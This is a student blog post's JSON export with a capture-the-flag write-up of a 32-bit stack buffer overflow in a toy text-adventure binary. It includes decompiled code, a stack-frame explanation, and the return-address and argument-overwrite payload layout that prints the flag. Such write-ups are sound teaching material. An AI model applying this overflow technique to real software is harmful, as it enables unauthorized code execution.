{"id":130,"date":"2022-11-29T01:41:43","date_gmt":"2022-11-29T01:41:43","guid":{"rendered":"https:\/\/blogs.oregonstate.edu\/paul\/?p=130"},"modified":"2022-11-29T01:41:43","modified_gmt":"2022-11-29T01:41:43","slug":"writeup-return_for_adventure","status":"publish","type":"post","link":"https:\/\/blogs.oregonstate.edu\/paul\/2022\/11\/29\/writeup-return_for_adventure\/","title":{"rendered":"Writeup: return_for_adventure"},"content":{"rendered":"\n<p>In order to provide peak performance, all games should be written in the C language, which is the fastest language, which is the best for gaming. OSUSEC&#8217;s crowning technical achievement, return_for_adventure, is further optimized through the removal of bloated features such as the stack canary and PIE. <\/p>\n\n\n\n<p>Let&#8217;s play it!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Welcome to the start of your adventure! Before we begin, please choose one of the following options:<br>1: Start a new game<br>2: Jump to specific chapter<br>3: Load game<br>2<br>Chapters exist?<br>1: Start a new game<br>2: Jump to specific chapter<br>3: Load game<br>3<br>No<br>1: Start a new game<br>2: Jump to specific chapter<br>3: Load game<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>1<br>Let's start!<br>You awaken after a record sleep of 3 hours, climb out of bed and:<br>1: you look at your alarm clock<br>2: you go downstairs and eat breakfast<br>3: fall back asleep<br>2<br>What breakfast do you want to eat?<br>hamburger<br>I guess if thats what u want\u2026<br>LMAO no flag for u. Take this L<\/code><\/pre>\n\n\n\n<p>The string seems promising:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Welcome to the start of your adventure! Before we begin, please choose one of the following options:<br>1: Start a new game<br>2: Jump to specific chapter<br>3: Load game<br>1<br>Let's start!<br>You awaken after a record sleep of 3 hours, climb out of bed and:<br>1: you look at your alarm clock<br>2: you go downstairs and eat breakfast<br>3: fall back asleep<br>2<br>What breakfast do you want to eat?<br>AUAUAUAUAUUUFGHHGGHHGHGAAUGUGUHG<br>I guess if thats what u want\u2026<br>&#091;1] 215155 segmentation fault (core dumped) .\/return_for_adventure<\/code><\/pre>\n\n\n\n<p>Cool! Let&#8217;s see what we can do in Ghidra.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"261\" height=\"157\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-14.png\" alt=\"\" class=\"wp-image-131\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>void huh_whats_this_function_for(int param_1,int param_2)\n\n{\n  char local_33 &#091;35];\n  FILE *local_10;\n  \n  if ((param_1 == -0x74520ff3) &amp;&amp; (param_2 == -0x54524542)) {\n    printf(\"Here is the correct flag: \");\n    local_10 = fopen(\"flag.txt\",\"r\");\n    fgets(local_33,0x22,local_10);\n    fclose(local_10);\n    puts(local_33);\n  }\n  return;\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>void breakfast(void)\n\n{\n  char local_24 &#091;20];\n  int local_10;\n  \n  puts(\"What breakfast do you want to eat?\");\n  do {\n    local_10 = getchar();\n    if (local_10 == 10) break;\n  } while (local_10 != -1);\n  fgets(local_24,200,stdin);\n  puts(\"I guess if thats what u want...\");\n  return;\n}<\/code><\/pre>\n\n\n\n<p>We crashed in <code>breakfast<\/code> earlier, and it looks like there&#8217;s 200 bytes we can read into a 20 byte buffer. More than enough to overflow some memory. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"679\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-19.png\" alt=\"\" class=\"wp-image-136\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-19.png 790w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-19-300x258.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-19-768x660.png 768w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/figure>\n\n\n\n<p>Every time a program calls a function, it stacks this structure on top of the stack. See how intuitive that is?! Why do we always draw it backwards? I hate it! Ok ok I know that memory addresses are high on the bottom now but like, that makes the most sense. <\/p>\n\n\n\n<p>Anyways, imagine a tower(or a stack) of these structures on top of one another. If you have access to write past your locals, you can modify the base pointer, return address, and parameters of the function you&#8217;re in! <\/p>\n\n\n\n<p>Let&#8217;s start off by modifying the return address while we&#8217;re in breakfast. This way, we can trick the program into returning to an arbitrary function.   <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"457\" height=\"64\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-17.png\" alt=\"\" class=\"wp-image-134\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-17.png 457w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-17-300x42.png 300w\" sizes=\"auto, (max-width: 457px) 100vw, 457px\" \/><\/figure>\n\n\n\n<p>Ghidra shows that we begin at address 0x08048646, so that&#8217;s what we&#8217;ll load into the return address. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"407\" height=\"253\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-18.png\" alt=\"\" class=\"wp-image-135\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-18.png 407w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-18-300x186.png 300w\" sizes=\"auto, (max-width: 407px) 100vw, 407px\" \/><\/figure>\n\n\n\n<p>Ghidra shows that the breakfast function contains 36 bytes of stuff above the return address. I&#8217;m honestly not totally sure what these bytes are. Is this related to byte alignment? Some undefined4 types are 8 bytes apart. Anyways,  we&#8217;ll need to overwrite those 36 bytes. After that, we&#8217;ll have reached our return address, which we&#8217;ll append to our payload. <\/p>\n\n\n\n<p>With a payload of 0x24 arbitrary bytes + 0x08048646, we get: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#091;+] Starting local process '.\/return_for_adventure': pid 150205\n&#091;*] Switching to interactive mode\n3: fall back asleep\nWhat breakfast do you want to eat?\nI guess if thats what u want...<\/code><\/pre>\n\n\n\n<p>We don&#8217;t get the &#8220;LMAO no flag for u. Take this L&#8221; message or a crash, so we successfully changed program flow!<\/p>\n\n\n\n<p>Looking again at our vulnerable function:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>  \n  if ((param_1 == L'\\x8badf00d') &amp;&amp; (param_2 == L'\\xabadbabe')) {\n    printf(\"Here is the correct flag: \");\n    local_10 = fopen(\"flag.txt\",\"r\");\n    fgets(local_33,0x22,local_10);\n    fclose(local_10);\n    puts(local_33);\n  }<\/code><\/pre>\n\n\n\n<p>We see that it wants the parameters to be equal to (in hex) 0x8badf00d and 0xabadbabe. If we append these to our payload, we won&#8217;t quite be in the right place, however &#8211; remember the base pointer? If we add an address worth of bytes to our payload, the next bytes will be overwriting the parameters section of the stack frame. <\/p>\n\n\n\n<p>Our final payload should be 0x24 arbitrary bytes + 0x08048646 + random address (4 bytes in this architecture) + 0x8badf00d + 0xabadbabe. <\/p>\n\n\n\n<p>With this, we get<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>3: fall back asleep\nWhat breakfast do you want to eat?\nI guess if thats what u want...\nHere is the correct flag: osu{d0n'7_b3_57up1d_4nd_0v3rfl0w}\n&#091;*] Got EOF while reading in interactive<\/code><\/pre>\n\n\n\n<p>Cool! <\/p>\n","protected":false},"excerpt":{"rendered":"<p>In order to provide peak performance, all games should be written in the C language, which is the fastest language, which is the best for gaming. OSUSEC&#8217;s crowning technical achievement, return_for_adventure, is further optimized through the removal of bloated features such as the stack canary and PIE. Let&#8217;s play it! The string seems promising: Cool! &hellip; <a href=\"https:\/\/blogs.oregonstate.edu\/paul\/2022\/11\/29\/writeup-return_for_adventure\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Writeup: return_for_adventure<\/span><\/a><\/p>\n","protected":false},"author":11809,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-130","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/users\/11809"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/comments?post=130"}],"version-history":[{"count":1,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/130\/revisions"}],"predecessor-version":[{"id":137,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/130\/revisions\/137"}],"wp:attachment":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/media?parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/categories?post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/tags?post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}